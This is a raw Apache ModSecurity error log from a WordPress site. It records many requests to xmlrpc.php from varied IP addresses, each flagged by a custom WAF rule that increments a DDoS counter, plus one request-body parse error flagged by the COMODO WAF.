[Fri Apr 10 10:08:27.440837 2026] [:error] [pid 13100:tid 13118] [client 68.183.124.132:49876] [client 68.183.124.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.124.132, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhbm1zg-ZkZ0InWIP3OBwAAAQ0"]
[Fri Apr 10 10:14:26.873030 2026] [:error] [pid 13101:tid 13135] [client 121.200.216.6:38220] [client 121.200.216.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.200.216.6, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhdAt8Ldw85818pj2rCbAAAAII"]
[Fri Apr 10 10:30:09.191048 2026] [:error] [pid 13189:tid 13202] [client 128.199.207.13:63772] [client 128.199.207.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.207.13, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhgsZAxiJKPums3eBADmAAAAEo"]
[Fri Apr 10 10:41:38.394131 2026] [:error] [pid 13101:tid 13149] [client 78.88.230.100:42384] [client 78.88.230.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.88.230.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhjYt8Ldw85818pj2rP8QAAAJA"]
[Fri Apr 10 10:44:58.304104 2026] [:error] [pid 13102:tid 13163] [client 45.159.231.196:44684] [client 45.159.231.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.159.231.196, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhkKv9xLvjW2guI55ZRWAAAAAM"]
[Fri Apr 10 10:51:45.095329 2026] [:error] [pid 13189:tid 13205] [client 161.97.171.174:35020] [client 161.97.171.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.97.171.174, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhlwZAxiJKPums3eBAYGAAAAE0"]
[Fri Apr 10 10:52:47.580632 2026] [:error] [pid 13189:tid 13195] [client 141.94.18.111:57954] [client 141.94.18.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.18.111, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhl_5AxiJKPums3eBAZCAAAAEM"]
[Fri Apr 10 11:07:55.205079 2026] [:error] [pid 13189:tid 13193] [client 167.172.129.25:58280] [client 167.172.129.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.129.25, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhpi5AxiJKPums3eBAmzgAAAEE"]
[Fri Apr 10 11:29:09.100589 2026] [:error] [pid 13102:tid 13173] [client 66.70.178.228:37802] [client 66.70.178.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.70.178.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhuhf9xLvjW2guI55ZxxQAAAA0"]
[Fri Apr 10 11:54:36.560620 2026] [:error] [pid 13189:tid 13206] [client 180.93.52.173:40644] [client 180.93.52.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.93.52.173, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adh0fJAxiJKPums3eBBYkgAAAE4"]
[Fri Apr 10 11:55:16.492999 2026] [:error] [pid 13100:tid 13112] [client 46.224.56.168:53316] [client 46.224.56.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.224.56.168, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adh0pFzg-ZkZ0InWIP38_gAAAQc"]
[Fri Apr 10 11:57:43.670430 2026] [:error] [pid 13102:tid 13171] [client 51.159.190.214:41026] [client 51.159.190.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.190.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adh1N_9xLvjW2guI55aHjQAAAAs"]
[Fri Apr 10 12:04:24.959915 2026] [:error] [pid 13189:tid 13214] [client 137.184.46.218:51804] [client 137.184.46.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.46.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adh2yJAxiJKPums3eBBjkwAAAFY"]
[Fri Apr 10 12:13:39.959050 2026] [:error] [pid 13102:tid 13170] [client 46.224.56.168:57400] [client 46.224.56.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.224.56.168, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adh48_9xLvjW2guI55aR-gAAAAo"]
[Fri Apr 10 12:14:39.900228 2026] [:error] [pid 13102:tid 13184] [client 134.209.114.227:43268] [client 134.209.114.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.209.114.227, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adh5L_9xLvjW2guI55aScgAAABg"]
[Fri Apr 10 12:16:35.971487 2026] [:error] [pid 13102:tid 13160] [client 103.205.142.28:40250] [client 103.205.142.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.205.142.28, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adh5o_9xLvjW2guI55aTTgAAAAA"]
[Fri Apr 10 12:19:10.207034 2026] [:error] [pid 13101:tid 13147] [client 159.65.130.72:47810] [client 159.65.130.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.65.130.72, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adh6Pt8Ldw85818pj2oC6AAAAI4"]
[Fri Apr 10 12:22:20.708853 2026] [:error] [pid 13102:tid 13161] [client 212.54.229.15:38672] [client 212.54.229.15] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.54.229.15, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adh6_P9xLvjW2guI55aW6wAAAAE"]
[Fri Apr 10 12:25:51.508665 2026] [:error] [pid 13189:tid 13205] [client 177.91.132.9:48950] [client 177.91.132.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.91.132.9, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adh7z5AxiJKPums3eBB3KwAAAE0"]
[Fri Apr 10 12:26:06.194849 2026] [:error] [pid 13102:tid 13178] [client 157.66.27.55:60562] [client 157.66.27.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.55, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adh73v9xLvjW2guI55aZKQAAABI"]
[Fri Apr 10 12:27:28.166882 2026] [:error] [pid 13102:tid 13160] [client 54.36.209.212:35226] [client 54.36.209.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.209.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adh8MP9xLvjW2guI55aaLgAAAAA"]
[Fri Apr 10 12:30:52.719698 2026] [:error] [pid 13189:tid 13211] [client 197.221.14.188:37310] [client 197.221.14.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.221.14.188, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adh8_JAxiJKPums3eBB7RgAAAFM"]
[Fri Apr 10 12:31:32.692908 2026] [:error] [pid 13102:tid 13174] [client 51.210.113.223:38566] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adh9JP9xLvjW2guI55ac6AAAAA4"]
[Fri Apr 10 12:34:13.280691 2026] [:error] [pid 13189:tid 13205] [client 38.242.131.63:58780] [client 38.242.131.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.242.131.63, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adh9xZAxiJKPums3eBB-GAAAAE0"]
[Fri Apr 10 12:34:47.346950 2026] [:error] [pid 13189:tid 13216] [client 116.202.13.21:53998] [client 116.202.13.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.202.13.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adh955AxiJKPums3eBB-kQAAAFg"]
[Fri Apr 10 12:36:34.765292 2026] [:error] [pid 13102:tid 13181] [client 108.181.199.63:41196] [client 108.181.199.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 108.181.199.63, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adh-Uv9xLvjW2guI55afnwAAABU"]
[Fri Apr 10 12:36:34.791251 2026] [:error] [pid 13102:tid 13181] [client 108.181.199.63:41196] [client 108.181.199.63] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adh-Uv9xLvjW2guI55afnwAAABU"]
[Fri Apr 10 12:36:34.792533 2026] [:error] [pid 13102:tid 13181] [client 108.181.199.63:41196] [client 108.181.199.63] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||rcacivilgroup.com|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adh-Uv9xLvjW2guI55afnwAAABU"]
[Fri Apr 10 12:39:27.747950 2026] [:error] [pid 13101:tid 13145] [client 103.186.241.154:32978] [client 103.186.241.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.186.241.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adh-_98Ldw85818pj2oMUQAAAIw"]
[Fri Apr 10 12:41:54.642560 2026] [:error] [pid 13189:tid 13215] [client 157.245.42.243:57538] [client 157.245.42.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.42.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adh_kpAxiJKPums3eBCEfAAAAFc"]
[Fri Apr 10 12:43:28.828332 2026] [:error] [pid 13102:tid 13163] [client 34.165.13.211:43130] [client 34.165.13.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.165.13.211, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adh_8P9xLvjW2guI55aj4gAAAAM"]
[Fri Apr 10 13:01:34.103091 2026] [:error] [pid 3934:tid 3940] [client 185.23.117.167:37916] [client 185.23.117.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.23.117.167, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adiELoa41m-BS8mg82dK9gAAAME"]
[Fri Apr 10 13:11:23.380930 2026] [:error] [pid 13100:tid 13117] [client 46.105.230.99:33695] [client 46.105.230.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.105.230.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adiGe1zg-ZkZ0InWIP0UpQAAAQw"]
[Fri Apr 10 13:13:03.178804 2026] [:error] [pid 13189:tid 13196] [client 82.223.24.195:58784] [client 82.223.24.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.24.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adiG35AxiJKPums3eBCUsAAAAEQ"]
[Fri Apr 10 13:13:22.819774 2026] [:error] [pid 13189:tid 13192] [client 95.110.143.247:54956] [client 95.110.143.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.110.143.247, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adiG8pAxiJKPums3eBCU1AAAAEA"]
[Fri Apr 10 13:13:53.913736 2026] [:error] [pid 3934:tid 3955] [client 202.157.175.19:36242] [client 202.157.175.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.157.175.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adiHEYa41m-BS8mg82dUFAAAANA"]
[Fri Apr 10 13:16:36.190204 2026] [:error] [pid 13102:tid 13182] [client 212.54.229.15:52416] [client 212.54.229.15] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.54.229.15, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adiHtP9xLvjW2guI55ayUgAAABY"]
[Fri Apr 10 13:16:57.403473 2026] [:error] [pid 13102:tid 13170] [client 84.201.130.79:37332] [client 84.201.130.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.201.130.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adiHyf9xLvjW2guI55aybAAAAAo"]
[Fri Apr 10 13:17:37.134503 2026] [:error] [pid 13189:tid 13202] [client 178.128.63.245:47560] [client 178.128.63.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.63.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adiH8ZAxiJKPums3eBCWygAAAEo"]
[Fri Apr 10 13:19:45.432055 2026] [:error] [pid 13101:tid 13156] [client 159.89.91.236:48280] [client 159.89.91.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.91.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adiIcd8Ldw85818pj2oZRQAAAJc"]
[Fri Apr 10 13:20:39.814796 2026] [:error] [pid 3934:tid 3941] [client 148.113.189.81:48826] [client 148.113.189.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.189.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adiIp4a41m-BS8mg82dZNwAAAMI"]
[Fri Apr 10 13:20:54.539488 2026] [:error] [pid 13100:tid 13121] [client 159.223.103.141:42418] [client 159.223.103.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.103.141, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adiItlzg-ZkZ0InWIP0W4wAAARA"]
[Fri Apr 10 13:33:22.056440 2026] [:error] [pid 13189:tid 13196] [client 137.184.230.10:37718] [client 137.184.230.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.230.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adiLopAxiJKPums3eBCfrQAAAEQ"]
[Fri Apr 10 13:41:31.589200 2026] [:error] [pid 13189:tid 13192] [client 51.83.35.19:37596] [client 51.83.35.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.83.35.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adiNi5AxiJKPums3eBCpIwAAAEA"]
[Fri Apr 10 13:47:52.570194 2026] [:error] [pid 13100:tid 13110] [client 90.156.142.31:12214] [client 90.156.142.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 90.156.142.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adiPCFzg-ZkZ0InWIP0hGQAAAQU"]
[Fri Apr 10 13:49:30.233681 2026] [:error] [pid 13100:tid 13123] [client 81.8.91.201:56996] [client 81.8.91.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.8.91.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adiPalzg-ZkZ0InWIP0hcwAAARI"]
[Fri Apr 10 13:53:13.645926 2026] [:error] [pid 13102:tid 13166] [client 82.223.70.218:42046] [client 82.223.70.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.70.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adiQSf9xLvjW2guI55bGMAAAAAY"]
[Fri Apr 10 13:57:43.703623 2026] [:error] [pid 3934:tid 3948] [client 148.230.81.150:46224] [client 148.230.81.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.230.81.150, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adiRV4a41m-BS8mg82d_4QAAAMk"]
[Fri Apr 10 14:06:04.392608 2026] [:error] [pid 13101:tid 13148] [client 69.163.206.7:58392] [client 69.163.206.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.163.206.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adiTTN8Ldw85818pj2oriQAAAI8"]
[Fri Apr 10 14:12:24.681029 2026] [:error] [pid 3934:tid 3945] [client 51.159.190.214:50404] [client 51.159.190.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.190.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adiUyIa41m-BS8mg82eONQAAAMY"]
[Fri Apr 10 14:16:49.713950 2026] [:error] [pid 13101:tid 13136] [client 206.81.24.246:44462] [client 206.81.24.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 206.81.24.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adiV0d8Ldw85818pj2ovAAAAAIM"]
[Fri Apr 10 14:23:51.792971 2026] [:error] [pid 13101:tid 13142] [client 148.113.209.194:59636] [client 148.113.209.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.209.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adiXd98Ldw85818pj2oxVgAAAIk"]
[Fri Apr 10 14:27:15.536297 2026] [:error] [pid 3934:tid 3952] [client 20.237.8.18:16128] [client 20.237.8.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.237.8.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adiYQ4a41m-BS8mg82ec6gAAAM0"]
[Fri Apr 10 14:29:43.338697 2026] [:error] [pid 3934:tid 3943] [client 104.37.174.183:39648] [client 104.37.174.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.37.174.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adiY14a41m-BS8mg82eedAAAAMQ"]
[Fri Apr 10 14:31:05.879488 2026] [:error] [pid 13100:tid 13105] [client 178.62.28.91:56010] [client 178.62.28.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.62.28.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adiZKVzg-ZkZ0InWIP0tbAAAAQA"]
[Fri Apr 10 14:35:00.619650 2026] [:error] [pid 3934:tid 3946] [client 173.249.55.89:47020] [client 173.249.55.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.249.55.89, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adiaFIa41m-BS8mg82ei4wAAAMc"]
[Fri Apr 10 14:37:17.793736 2026] [:error] [pid 13189:tid 13202] [client 54.38.241.153:40316] [client 54.38.241.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.241.153, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adianZAxiJKPums3eBDLSAAAAEo"]
